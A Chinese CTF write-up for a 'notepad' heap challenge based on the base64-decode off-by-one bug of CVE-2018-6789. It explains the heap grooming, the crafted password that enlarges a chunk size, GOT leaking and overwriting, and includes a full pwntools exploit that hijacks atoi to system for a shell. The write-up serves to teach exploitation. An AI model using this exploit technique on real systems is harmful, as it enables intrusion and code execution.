CVE-2018-6789之off-by-one notepad writeup
去年省赛的题,当时没做出来,现在看看。
提示说CVE-2018-6789,看了一下是b64decode造成的off-by-one.
解码base64的逻辑是把4个字节当做一组,4个字节解码成3个字节。
但是如果传入的密文长度为4n + 3 字节,则函数会将最后三个字节解码为两个字节,最终明文长度为3n+2个字节,而分配的堆空间的大小为3n+1。就会发生off-by-one了。
首先想一下off-by-one利用的套路,基本要借助chunk的pre_size位置,这样能溢出到chunk的size位,从而实现extend chunk。构造堆块的时候要注意大小。
现在看题。
checksec:
主要有4个功能。
添加note,会malloc一个0x20大小的note header。同时有一个全局ptr保存note header的地址。
需要输入note的名字(最长为0x10bytes),密码,内容长度,及内容。读入的内容以\x00结尾,不可以泄露libc。
输入note的密码后会经过b64decode,将解码后的明文储存在程序自建的堆中(where off-by-one happens)。
note header中存着note名字,密码的指针,内容的指针。
展示note,通过ptr,展示note内容指针指向的内容。但是要通过密码检查。
编辑note,使用realloc重新确定contents大小。同样需要先通过密码检查。
删除,free对应指针,设置对应ptr为null
基本思路是构造堆块,让noteA的内容堆块在noteB的note header上方。
同时让noteC的密码堆块在noteA内容堆块的上方,通过off-by-one,将noteA的内容堆块size改大,写noteA的内容,让它覆盖到noteB的note header。(当然noteC和noteB可以是同一个note。)
这样noteB header中的所有指针可控。
任意读,读got表泄露libc。
任意写,写got表拿shell。
先找一个合适的恶意密码。
“A”*0x88 + ‘1’ 经过base64加密后结尾为一个padding。
删除结尾的padding后长度为183,符合len(pwd) = 4n+3,可以导致off-by-one覆盖为\x31。
可以使用
("A"*0x88+'1').encode("base64").replace("\n","")[:-1]
作为恶意密码。
同时note header本身的大小就为0x30。
因此可以在noteB header上方放置一个0x100大小的noteA content,改写后为0x130,恰好可以覆盖完noteB header。
如下图,改写content时有一个大小比较,如果输入的大小比content size小,就直接读取输入。
怎样进行布局呢?
可以先add一个比content size较大的noteA,再接着add两个content size较小的noteB noteC.
之后删除noteA,让它的大块content释放。
之后addnoteA,分配较小的content。
然后editnoteB,重新分配content size。
editnoteC,重新分配content size。
计算好,让重新分配的三块size之和恰好为最开始noteA 的content size,之前释放的区域又重新占满,且noteC content下方为noteB的header。
因此我们要溢出noteC content的size,就需要让恶意密码存到noteB content的位置。
所以要delete掉noteB,重新分配noteB,让b64decode函数中的malloc先占用之前noteB content的位置。(因为是先设置密码的。)这就要求noteB content的size要与恶意密码的size相同。
这样所有note content的大小都能确定下来了。
添加一个大note,两个小note:
删除大note,重新分配三个note的content位置:
del noteB,使用恶意密码add noteB,溢出noteC的size为0x131:
通过edit noteC的内容溢出到noteB header,改写noteB header实现任意地址读写:
这里注意一下,同时也把noteB 的密码指针改掉了,改成了一个.rodata上的字符串。接下来查看noteB内容需要输入密码,只需输入对应字符串base64加密后的密文即可。
接下来泄露libc,改写got表一气呵成。
exploit:
#!/usr/bin/env python
# -*- coding=utf8 -*-
"""
# Author: le3d1ng
# Created Time : 2019年04月06日 星期六 19时35分57秒
# File Name: exp2.py
# Description:
"""
from pwn import *
io = process('./notepad')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'info'
context.terminal = ['terminator' , '-x' , 'sh' , '-c']
def debug():
gdb.attach(io)
io.interactive()
def addnote(name,password,size,content):
io.sendlineafter('choice> ','1')
io.sendafter('name> ',name)
io.sendlineafter('no)> ','1')
io.sendlineafter('word> ',password)
io.sendlineafter('size> ',str(size))
io.sendlineafter('content> ',content)
def shownote(name,passwd):
io.sendlineafter('choice> ','2')
io.sendafter('name> ',name)
io.sendlineafter('word> ',passwd)
def editnote(name,passwd,size,content):
io.sendlineafter('choice> ','3')
io.sendafter('name> ',name)
io.sendlineafter('word> ',passwd)
io.sendlineafter('no)> ','0')
io.sendlineafter('size> ',str(size))
io.sendlineafter('content> ',content)
def delnote(name,passwd):
io.sendlineafter('choice> ','4')
io.sendafter('name> ',name)
io.sendlineafter('password> ',passwd)
success("Initing!")
passwd = "le3d1ng".encode("base64") + "\x00"
#addnote('0'*0x10,passwd,0x20,'0')
addnote('1'*0x10,passwd,0x1c0,'1')
addnote('2'*0x10,passwd,0x20,'2')
addnote('3'*0x10,passwd,0x20,'3')
#addnote('4'*0x10,passwd,0x20-1,'4')
#debug()
success("Resizing chunks!")
delnote('1'*0x10,passwd)
addnote('1'*0x10,passwd,0x30,'aaaaaaa')
editnote('2'*0x10, passwd, 0x88-1, "b"*0x10) # -1 to use next chunk's pre_size as content
editnote('3'*0x10, passwd, 0xf8-1, "c"*0x10)
delnote("2"*0x10, passwd)
#debug()
#off-by-one
success("Performing off-by-one attack...")
evilpd = ("A"*0x88+'1').encode("base64").replace("\n","")[:-1]+"\x00" # eval password off-by-one 0x31
addnote("2"*0x10, evilpd, 0x20-1, "padding")
#debug()
success("Overwriting noteB header!")
atoi_got = 0x602090
pwd2addr = 0x4019E6 #name exist\x00
payload = ""
payload += "A"*0xf0
payload += p64(0x100)
payload += p64(0x31)
payload += '2'*0x10
payload += p64(pwd2addr) # new passwd
payload += p64(atoi_got) # overwrite note2's content ptr to atoi_got
payload += p64(0x000000100001000)
editnote("3"*0x10,passwd,0x128-1,payload)
#debug()
success("Leaking libc...")
newpd = "name exist\x00".encode("base64")
shownote("2"*0x10,newpd) # now show note2 will leak atoi address
atoiaddr = u64(io.recv(6).ljust(8,'\x00'))
success("atoi addr : "+hex(atoiaddr))
libcbase = atoiaddr - libc.symbols['atoi']
sysaddr = libcbase + libc.symbols['system']
success("libcbase : "+hex(libcbase))
success("system addr : "+hex(sysaddr))
success("Hijacking atoi@got to system...")
payload = p64(sysaddr) # write to note2's content will now edit atoi_got.
editnote("2"*0x10,newpd,0x10,payload)
success("Got shell!")
io.interactive()
总结
off-by-one漏洞利用的难度还是在于堆结构的布局。